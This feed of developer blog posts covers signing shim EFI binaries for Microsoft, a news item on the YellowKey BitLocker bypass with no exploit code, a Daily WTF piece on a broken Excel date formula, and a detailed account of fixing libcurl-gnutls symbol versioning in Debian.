tedious, but reasonably well-explained in the ssl.com docs.
Microsoft wants the shim binaries uploaded to their partner portal
wrapped in a .cab file, which should be signed.
The wrapping in a .cab file is easy enough: lcab shim.efi shim-unsigned.cab. It’s fine to put shims for multiple architectures
in the same .cab file.
Signing of the file is a little bit of a rune:
osslsigncode sign -pkcs11module /usr/lib/x86_64-linux-gnu/libykcs11.so -key "pkcs11:serial=XXX" -askpass -certs chain.crt -h sha256 -ts http://ts.ssl.com shim-unsigned.cab shim-unsigned.signed.cab
chain.crt contains first our EV code signing cert, then the ssl.com
intermediate EV code signing cert, then the ssl.com EV root cert.  The
naming of the packages is a tiny bit confusing, but it’s because the
package name in Debian is shim-unsigned.
Occasionally, processing of uploaded binaries just stops in the
validation stage in the portal, but I’ve so far been able to unstuck
them by re-signing and uploading again, and I saw the same with the
MS/Windows toolchain, so I suspect it’s just flakiness on the portal
side.

Zero-Day Exploit Against Windows BitLocker
2026-05-18T11:08:38Z
It’s nasty, but it requires physical access to the computer:
The exploit, named YellowKey, was published earlier this week by a researcher who goes by the alias Nightmare-Eclipse. It reliably bypasses default Windows 11 deployments of BitLocker, the full-volume encryption protection Microsoft provides to make disk contents off-limits to anyone without the decryption key, which is stored in a secured piece of hardware known as a trusted platform module (TPM). BitLocker is a mandatory protection for many organizations, including those that contract with governments.
Slashdot thread. And here’s Nightmare-Eclipse’s GitHub account.

Representative Line: Dating Backwards
2026-05-18T06:30:00Z
Another representative line, and this one comes from an Excel spreadsheet. But, per Remy's Law of Requirements gathering ("No matter what the requirements doc says, what your users wanted was Excel"), this one was actually written by a developer. A developer who didn't understand how Excel works, but more important, didn't understand how dates worked either.
This comes from Ulysse J.
=CONCATENER(SI(MOIS($A18)>9;ANNEE($A18)-2000;(ANNEE($A18)-2000)*10);SI(JOUR($A18)>9;MOIS($A18);MOIS($A18)*10);JOUR($A18))

Now, the first thing: Excel function names are locale specific. This was written in France, so the functions are French. CONCATENER is "concatenate", SI is "if", MOIS is "month", and so on.
The purpose of this function is to convert a field (cell A18) in DD/MM/YYYY into YYMMDD. So how does it do this?
Well, we check the month. If it's greater than 9, we output the year minus 2000. If it's less than 9, then, we output the year minus 2000, multiplied by 10. That is to say, August, 2026 would start by outputting 260. We repeat this logic for the days: if the day is larger than 9, we output the month, otherwise we output the month times 10. Finally, we output the day.
This is attempting to do padding. There's just a problem. Imagine February 1st, 2009- an actual date in the document. We convert the year into 90, the month into 20, rendering the date as 90210. That's incorrect. And once we get to 2100, if there is still an Excel in 2100 (I joke: of course Excel will still exist in 2100. Humanity won't, but the robots will use Excel), this will also break. Not that it matters- I mean, YYMMDD doesn't make sense by that point.
Obviously, the correct solution is to use Excel's rich, built-in formatting functions to convert between date formats. It's easy! But Ulysse raises another point:

Extra points: even if you do not know how to do proper [formatting], the input format is guaranteed to have correct padding. I would just concatenate parts of it (treating dates as text is bad, but still less bad than treating them as integer triplets).

I will say this: I know a software developer wrote this, because your average Excel user could easily write bad formulas, but never bad in this kind of convoluted way. You need a real expert to do something this bad.

	 [Advertisement] 
	ProGetâ€™s got you covered with security and access controls on your NuGet feeds. Learn more.

Sergio Durigan Junior: Fixing a 20+ year old bug in Debian curl
2026-05-18T04:35:00Z
I have been helping co-maintain the Debian curl package for a few
years now, and even though Samuel and Charles do most of the work, I'm
happy to jump in and help when needed.  This is one of those cases.
Nowadays the package is maintained by 3 people (with help from others
occasionally), but it hasn't always been like this.  Samuel adopted
the package back in 2021, and since then it has received a lot of love
and care to make sure it lives up to Debian's standards.  Again, kudos
to both him and Charles who have been doing great work on this front.
But a little more than 20 years ago, the situation in Debian (and
curl!) was "a bit" different.
Once upon a time...
According to d/changelog, the Debian curl maintainer in 2005
introduced changes to the packaging that allowed it to generate a
version of libcurl for each TLS backend available: OpenSSL and
GnuTLS.  This meant that curl would have two binary library packages:

libcurl3-openssl and its respective -dev variant, for libcurl
linked against OpenSSL; and
libcurl3-gnutls and its respective -dev variant, for libcurl
linked against GnuTLS.

But then, around 2006/2007 or so, upstream curl decided to bump the
SONAME version of libcurl from 3 to 4.  At the time, they apparently
did not version their library symbols like they do now, which
was... less than ideal.  I don't judge them: curl and a lot of other
important projects have come a long way when we consider best
practices to write shared libraries.
Meanwhile, on Debian land, the release team was having trouble with
other transitions going on at the time.  For those who are not versed
in Debian's vocabulary, a transition happens when a shared library
gets its SONAME version bumped: when this happens, we have to make
sure that all reverse dependencies of that library still build with
the new version, and fix things that fail.  The more reverse
dependencies the library has, the harder this work gets.
When upstream curl bumping the SONAME version of libcurl, the Debian
curl maintainer at the time correctly renamed the binary packages from
libcurl3-{openssl,gnutls} (and their -dev variants) to
libcurl4-{openssl,gnutls} (and their -dev variants), which
obviously triggered a transition.  And a big one, because libcurl is
used by several projects.
Long story short, the Debian release team found themselves between a
rock and a hard place.  According to the late Steve Langasek at the
time:

We talked a while back about the curl transition, and about how upstream's
change from libcurl.so.3 to libcurl.so.4 is gratuitously painful for us in
light of the large number of reverse dependencies.
The libcurl transition has at this point gotten tangled with soname
transitions in jasper, exiv2, kexiv2, and God only knows what else.  So I'd
like to revisit this question, because tracking this transition is costing
the release team a lot of time that would be better spent elsewhere, and
removing the need for a libcurl transition promises to reduce the complexity
of the other components by an order of magnitude.
On looking at the curl package, I've come to understand that the
symbol versioning in place in this library is the result of a
Debian-local patch.  That's great news, because it suggests a solution
to this quandary that doesn't require an unreasonable amount of
developer time.

Yeah, it wasn't pretty.  Here's what was proposed:

I am proposing the following:

Keep the library soname the same as it currently is upstream.  Because
upstream uses unversioned symbols, our package will be binary-compatible
with applications built against the upstream libcurl regardless of what we
do with symbol versioning, so leaving the soname alone minimizes the
amount of patching to be done against upstream code here.
Revert the Debian symbol versioning to the libcurl3 version, and make
libcurl.so.3 a symlink to libcurl.so.4.  We have already established that
libcurl.so.4 is still API-compatible with libcurl.so.3, in spite of the
soname change upstream; reverting the symbol versioning will make it fully
ABI-compatible with libcurl.so.3, and adding the symlink lets
previously-built binaries find it.
Revert the Debian package names to the curl 7.15.5 versions.  Because
compatibility has been restored with libcurl3 and libcurl3-gnutls,
restoring the package names provides the best upgrade path from etch to
lenny; and because the symbol versions have been reverted, the libraries
are not binary-compatible with the Debian packages currently named
libcurl4/libcurl4-gnutls/libcurl4-openssl (in spite of being
binary-compatible with upstream), so it would be wrong to keep the current
names regardless.
Drop the SSL-less variant of the library, which was not present in curl
7.15.5; AFAICS, there is no use case where a user of curl needs to not
have SSL support, so this split seems to be unnecessary overhead.  Please
correct me if I'm mistaken.
Leave the -dev package names alone otherwise, to simplify binNMUing of the
reverse-dependencies (some packages have already added versioned
build-deps on libcurl4.*-dev -- I have no idea why -- so reverting the
names would mean more work to chase down those packages).  Drop
libcurl4-dev as a binary package, though, in favor of being Provided by
libcurl4-gnutls-dev.  Many of the packages currently build-depending on
libcurl4-dev -- including some that wrongly used libcurl3-dev before --
are GPL, and these are apparently all packages where having SSL support
missing in libcurl4 wasn't hurting them, so libcurl4-gnutls-dev seems to
be the reasonable "default" here.
Schedule binNMUs for all reverse-dependencies.

Again, no judgement here: this was what needed to be done at the time,
and I believe it was a good solution given the circumstances.
In the end, the binary library packages got renamed again: from
libcurl4-{openssl,gnutls} back to libcurl3-{openssl,gnutls} (but
not their -dev variants!), but they continued shipping
libcurl libraries whose SONAME version was 4.  This solved the
immediate problem of untangling the transitions mentioned by Steve,
but introduced a technical debt that would stick with the package
literally for decades.
The situation at the end of 2007 was:

libcurl3-openssl with libcurl4-openssl-dev; and
libcurl3-gnutls with libcurl4-gnutls-dev.

More discrepancy is added
Eventually the libcurl3-openssl package got renamed to libcurl3,
but aside from that the situation with mismatched library names
vs. SONAME versions stayed relatively unchanged until around 2018,
when the Debian curl maintainer at the time (a different person)
renamed libcurl3 to libcurl4 to fix a bug.  This was the right
thing to do for libcurl3, and at the time upstream curl was already
properly versioning their symbols, but for some reason
libcurl3-gnutls got left behind.  So now we had:

libcurl4 with libcurl4-dev; and
libcurl3-gnutls with libcurl4-gnutls-dev.

In other words, we now have a discrepancy between the OpenSSL and
GnuTLS variants' names.  Yeah, confusing.  And this is the situation
right now, on May 2026, while I write this post.
To make matters worse, the Debian curl package has been carrying a
patch to facilitate the split of OpenSSL and GnuTLS flavours for
decades now, and, for some reason I didn't bother to investigate, the
patch pins the SONAME version of libcurl3-gnutls to CURL_GNUTLS_3,
effectively overriding upstream's decision to version the symbols as
CURL_GNUTLS_4.
A call to make things right
Back in 2022, Simon McVittie filed a Debian bug to try and call our
attention to the fact that we were shipping this messy set of curl
packages.  I had just started to get involved in the package
maintenance and Samuel asked me to take a look at the bug.  I noticed
it was going to take more time than I had available, so I decided to
put it in my TODO list (TM).
Simon was generous enough to lay out a possible plan to tackle the
problem, but I had a feeling that this was going to be harder than it
looked.  I kept postponing working on the bug, but also kept thinking
about it now and then because it's an interesting thing to solve.
Then, a month or so ago the Debian Brasil community got together for
MiniDebConf Campinas 2026 and we decided to do a bug squashing party
there.  I started working on a few FTBFS bugs with GCC 16, but then
got remembered about the curl bug and thought that that was the
perfect time and place to start working on it, for a few reasons:

Samuel and Charles were also attending the conference, so I could
talk to them about my plans and show them a PoC.
I was going to give a presentation about symbols (in pt_BR), so I
could use this bug as an example of symbol versioning.
I wanted to have fun.

The initial plan
The plan I had in mind was a variant of Simon's proposed plan:

I would have to adjust our GnuTLS-specific patch so that it did not
override the SONAME version for libcurl-gnutls.  Then,
For each symbol from libcurl3-gnutls I would have to:

Explicitly version it as curl_symbol_name@@CURL_GNUTLS_4.
Create an alias for the symbol (let's call it __curl_compat_symbol_name).
Explicitly version this alias as __curl_compat_symbol_name@CURL_GNUTLS_3.

Have a separate version of curl's linker script to make it
possible to create a hierarchy between CURL_GNUTLS_3 and
CURL_GNUTLS_4 symbols.

Note that this whole dance is needed because it is a hard requirement
that programs linked against libcurl3-gnutls keep working when we
ship libcurl4-gnutls, without needing to recompile them.  Due to the
fact that we will not really bump the SONAME of libcurl-gnutls (but
instead fix the symbol versions shipped by it), we cannot expect
programs to break given that they are actually using the exact same
ABI as before.
Unfortunately (as it is common with low level tools) the documentation
for ld's versioning syntax is quite incomplete and hard to find.
One of the best sources I found was this blog post.  For this reason,
let me quickly explain the different notations for symbol versioning
used above.
curl_symbol_name@@CURL_GNUTLS_4
When we use curl_symbol_name@@CURL_GNUTLS_4 (note the @@) we are
telling the linker that this should be considered the default
version of curl_symbol_name.  In other words, when a binary that
links against libcurl-gnutls calls curl_symbol_name, the linker
should use curl_symbol_name@@CURL_GNUTLS_4 to resolve the symbol.
There are a few ways to specify a symbol version in C/C++:
__attribute__((__symver__("curl_symbol_name@@CURL_GNUTLS_4")))
void curl_symbol_name()
{
  /* ... */
}

/* or... */
void curl_symbol_name()
{
  /* ... */
}
__asm__(".symver curl_symbol_name, curl_symbol_name@@CURL_GNUTLS_4");
Function alias
Creating an alias for a function is basically saying that a function
can be called by another name.  You can do that in C/C++ like:
void curl_symbol_name()
{
  /* ... */
}

void __curl_compat_symbol_name()
  __attribute__((alias("curl_symbol_name")));
__curl_compat_symbol_name@CURL_GNUTLS_3
Finally, when we use __curl_compat_symbol_name@CURL_GNUTL_3 (note
the single @) we are telling the linker that this symbol exists, but
it should not be used as the default symbol.  In fact, this
notation will basically hide the symbol and make it only available for
those programs that have already been linked against it.  It's a way
of saying "don't offer this symbol when linking, but it's here in case
a program needs it to run" (it's a bit more complicated than that, but
you get the point).
The reason I had to create an alias to the function before
versioning the symbol with @CURL_GNUTLS_3 is because, once I've
versioned the main symbol as @@CURL_GNUTLS_4, I can't create another
version of it.  It's also important to mention that to be able to
create a version for the alias I also had to change its visibility to
default.  In the end, the alias ended up being defined as:
extern void __curl_compat_symbol_name()
  __attribute__((alias("curl_symbol_name"), visibility("default")));
First attempt and lessons learned
For my PoC I decided to tackle a small subset of the problem.  The
symbols file for libcurl3-gnutls contains around 100 symbols that
need to be fixed, so I chose two of them and started trying to write a
patch to see if I could make things work.  And after some time
struggling with GCC's syntax and inspecting nm -D's output I finally
got something that looked like it was going to work.  The two symbols
I had chosen to work with got correctly versioned (both as
@@CURL_GNUTLS_4 and @CURL_GNUTLS_3), and a quick-and-dirty C
program that used those symbols correctly compiled and ran with the
expected symbols.  I showed the results to Samuel and Charles, we got
excited about what we saw, and then the conference ended.
Second attempt and some adjustments
After getting back home I resumed the work on my branch and wrote an
Emacs function that semi-automatically adjusted all 100+ symbols
listed in the symbols file so that they all looked like:
__attribute__((__symver__("curl_symbol_name@@CURL_GNUTLS_4")))
void curl_symbol_name()
{
  /* ... */
}

extern void __curl_compat_symbol_name()
  __attribute__((alias("curl_symbol_name"), visibility("default"),
                 symver("__curl_compat_symbol_name@CURL_GNUTLS_3")));
The patch was big but mostly repetitive, and I was happy to have come
up with a solution that looked clean.  Until I tried to build the
package, that is.
I started seeing some strange errors that happened when ld was
trying to link the final libcurl4-gnutls object (yes, at that point
I had already renamed the binary package).  This is one of the errors
I was getting from ld (I got variants of this error as I was trying
to fix the approach):
/usr/bin/x86_64-linux-gnu-ld.bfd: .libs/libcurl_gnutls_la-easy.o: in function `dupeasy_meta_freeentry':
./debian/build-gnutls/lib/./debian/build-gnutls/lib/easy.c:1024: multiple definition of `curl_easy_cleanup'; .libs/libcurl_gnutls_la-easy.o:./debian/build-gnutls/lib/./debian/build-gnutls/lib/easy.c:908: first defined here
/usr/bin/x86_64-linux-gnu-ld.bfd: .libs/libcurl-gnutls.so.4.8.0: version node not found for symbol curl_easy_duphandle@CURL_GNUTLS3
/usr/bin/x86_64-linux-gnu-ld.bfd: failed to set dynamic section sizes: bad value
This was strange.  I did some tests with very simple versions of a
shared library using the versioning mechanism I had implemented and it
all worked.  I could not reproduce the problem, and that's not a great
feeling to have.
Then, after reading a lot of documentation and blog posts throughout
the internet I found something interesting.  Apparently ld has a
limitation when it comes to dealing with symbols versioned with @@.
If there is a single symbol versioned like that in a source file (the
actual term is TU, which means Translation Unit, but let's
simplify), then ld is happy and generates the expected version
without issues.  But when we're dealing with multiple definitions of
@@ symbols in a source file (which is exactly what happens in curl),
then ld can get confused and start giving errors during the link
stage.
To solve that limitation, we have to resort to yet another symbol
versioning notation: @@@.  Yes, three at signs.  For example:
void curl_symbol_name()
{
  /* ... */
}
__asm__(".symver curl_symbol_name, curl_symbol_name@@@CURL_GNUTLS_4");
Note that we have to use __asm__ because GCC's __attribute__
doesn't support the triple-at notation.
What this does is tell the linker to create a versioned symbol for
curl_symbol_name, set it as the default symbol when linking, but
also remove the unversioned curl_symbol_name symbol.  This makes
ld happy and allows it to successfully link libcurl-gnutls.  As
usual, you won't find any mention of the @@@ notation inside ld's
documentation.
With libcurl-gnutls compiling again, I had to adjust libcurl's
linker script to create a hierarchy between CURL_GNUTLS_3 and
CURL_GNUTLS_4 symbols.  Here's the final version of the file:
CURL_GNUTLS_3
{
  global:
    curl_easy_cleanup;
    /* lots of other symbols here */
  local: *;
};

CURL_GNUTLS_4
{
  global: curl_*;
  local: *;
} CURL_GNUTLS_3;
Debian package adjustments
After getting the hard part out of the way, the rest was easy.  It was
time to finally rename libcurl3-gnutls to libcurl4-gnutls.
Initially I was thinking that I'd need to ask the release team for a
transition to happen, but as it turns out that won't be necessary.
Because we are effectively shipping the same exact library/ABI and the
only difference is the inclusion of the extra CURL_GNUTLS_4
versioned symbols, and given that we will be shipping CURL_GNUTLS_3
versioned symbols to guarantee backwards compatibility, packages won't
need to get rebuild just to pick up the new dependency.  Instead, we
can safely turn libcurl3-gnutls into a transitional package that
depends on libcurl4-gnutls.
Merge request and next steps
This is the merge request where I am working on the fix.  As of this
writing it is in a draft state, but I expect to merge in the next
couple of days.  Once the fixed curl package is uploaded, we should
keep an eye on the archive to make sure no unexpected bugs happen.
I would like to carry this patch downstream at least until forky is
released.  It doesn't make sense to propose it upstream because this
problem is Debian-specific and should be fixed there.  We will need to
make sure that all reverse dependencies of libcurl3-gnutls are
recompiled before we can get rid of the transitional package, too.
This was a fun bug to investigate and fix, and I am happy that we will
finally have sensible names (and symbol versions!) for both of our
libcurl variants.  Stay tuned for the next challenge!